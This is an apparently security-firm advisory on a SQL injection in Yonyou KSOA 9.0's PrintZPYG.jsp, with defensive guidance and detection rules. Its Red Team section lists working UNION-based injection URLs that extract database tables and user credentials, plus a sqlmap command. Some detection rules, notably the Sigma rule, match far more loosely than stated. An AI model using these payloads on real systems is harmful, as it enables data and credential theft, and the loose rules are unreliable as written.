CVE-2025-15434

Executive Summary

CVE-2025-15434 is a critical SQL injection vulnerability affecting Yonyou KSOA version 9.0. The flaw resides in the /kp/PrintZPYG.jsp endpoint, where the zpjhid parameter is not sanitized before being used in a SQL query. An unauthenticated attacker can exploit this remotely to extract sensitive data, modify database contents, or potentially achieve further compromise. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts, leaving systems unpatched. This vulnerability poses a high risk to organizations using Yonyou KSOA, particularly in ERP and enterprise resource planning environments.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Potential for denial of service via database corruption.

Threat Level: High. The combination of public exploit availability, no authentication requirement, and no vendor patch makes this a critical risk for any exposed instance.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the JSP page /kp/PrintZPYG.jsp. The zpjhid parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by appending malicious payloads to the zpjhid parameter.

Example vulnerable code snippet (conceptual):

<%
String zpjhid = request.getParameter("zpjhid");
String query = "SELECT * FROM print_jobs WHERE job_id = " + zpjhid;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
%>

The attacker can manipulate the query to extract data from other tables, bypass authentication, or execute arbitrary SQL commands. Since the application runs with database privileges, the impact can extend to the entire database server.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
String zpjhid = request.getParameter("zpjhid");
String query = "SELECT * FROM print_jobs WHERE job_id = " + zpjhid;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
%>

Patched Code (Conceptual):

<%
String zpjhid = request.getParameter("zpjhid");
String query = "SELECT * FROM print_jobs WHERE job_id = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, zpjhid);
ResultSet rs = pstmt.executeQuery();
%>

The patched version uses a PreparedStatement with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Yonyou KSOA 9.0 instance (e.g., using a Docker container or a VM with the software installed).
2. Ensure the /kp/PrintZPYG.jsp endpoint is accessible.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   http://target:port/kp/PrintZPYG.jsp?zpjhid=1
   

2. Test for SQL injection by injecting a single quote:

   http://target:port/kp/PrintZPYG.jsp?zpjhid=1'
   

   If an error is returned, the endpoint is vulnerable.
3. Use a UNION-based injection to extract data:

   http://target:port/kp/PrintZPYG.jsp?zpjhid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

4. Enumerate database tables and columns:

   http://target:port/kp/PrintZPYG.jsp?zpjhid=1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--
   

5. Extract sensitive data (e.g., user credentials):

   http://target:port/kp/PrintZPYG.jsp?zpjhid=1 UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM users--
   

Automated Exploitation: Use sqlmap for automated exploitation:

sqlmap -u "http://target:port/kp/PrintZPYG.jsp?zpjhid=1" --batch --dbs

Blue Team (Defensive)

Detection:

• Monitor web server logs for suspicious patterns in the zpjhid parameter (e.g., single quotes, UNION, SELECT, etc.).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts.
• Use network intrusion detection systems (NIDS) to detect SQL injection signatures.

Mitigation:

• Immediately apply input validation and parameterized queries if source code access is available.
• Restrict network access to the KSOA application to trusted IPs only.
• If possible, disable the vulnerable endpoint or implement a virtual patch via a WAF.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /kp/PrintZPYG.jsp with unusual zpjhid parameters (e.g., containing ', UNION, SELECT, --).
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Modified JSP files (if attacker gains write access).
  • Suspicious log entries in web server logs (e.g., error.log showing SQL errors).
• System IOCs:
  • Unexpected database queries or high CPU usage on the database server.
  • New user accounts or privileges created in the database.

Detection Engineering

YARA Rule

rule CVE_2025_15434_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-15434 in Yonyou KSOA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15434"
    strings:
        $sqli1 = "zpjhid=" nocase
        $sqli2 = "'" ascii
        $sqli3 = "UNION" ascii
        $sqli4 = "SELECT" ascii
        $sqli5 = "1=1" ascii
        $sqli6 = "OR 1=1" ascii
    condition:
        all of ($sqli1, $sqli2) and 1 of ($sqli3, $sqli4, $sqli5, $sqli6)
}

Sigma Rule

title: SQL Injection Attempt Against Yonyou KSOA PrintZPYG.jsp
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the zpjhid parameter in /kp/PrintZPYG.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "zpjhid="
            - "'"
            - "UNION"
            - "SELECT"
            - "1=1"
            - "OR 1=1"
    condition: selection
falsepositives:
    - Legitimate use of special characters in zpjhid parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15434 SQL Injection Attempt - Yonyou KSOA PrintZPYG.jsp"; flow:to_server,established; content:"/kp/PrintZPYG.jsp"; http_uri; content:"zpjhid="; http_uri; pcre:"/zpjhid=.*['\"]|UNION|SELECT|1=1|OR 1=1/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Isolate the affected system from the internet if possible.
   • Apply a virtual patch using a WAF to block SQL injection patterns.
   • Restrict access to the /kp/PrintZPYG.jsp endpoint via firewall rules.

2. Long-term Fix:

   • Since the vendor is unresponsive, consider migrating to a supported ERP solution.
   • If source code is available, rewrite the vulnerable JSP to use parameterized queries.
   • Conduct a full security audit of the application for similar vulnerabilities.

3. Monitoring:

   • Enable detailed logging for web and database servers.
   • Set up alerts for SQL injection patterns.
   • Regularly review logs for signs of exploitation.

4. User Awareness:

   • Inform users of the risk and advise against accessing the system from untrusted networks.

Valters IT